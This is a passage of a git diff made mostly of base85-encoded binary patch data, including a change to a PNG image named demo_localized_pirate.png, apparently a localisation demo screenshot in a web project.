z<1`0TP(=#!Sb_l)e84F`+o=RB1yKia02!6%y_1R*CtTmnBnQBIe%i(AdAVJOKm@Z7 z0AzefPDyE6Cd6v6b?NmUiTW-2iv&hWKDowZG?W-YQKuUs?S8p6O6%QILANINN9gIe zW}M_cn1>}pup7dFt4Op^g)aA39*-?c?ic*5aHpRRtvT$m?EBwk02xU|iE=T6!2biZ C58)C3 literal 11946 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 CH9B(u diff --git a/public/images/i18n/demo_localized_pirate.png b/public/images/i18n/demo_localized_pirate.png index 91347095739cdd7028f6652080a5395a460c6139..528cc279009f2bdf971a2c35a8e36807914373c6 100644 GIT binary patch literal 11214 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 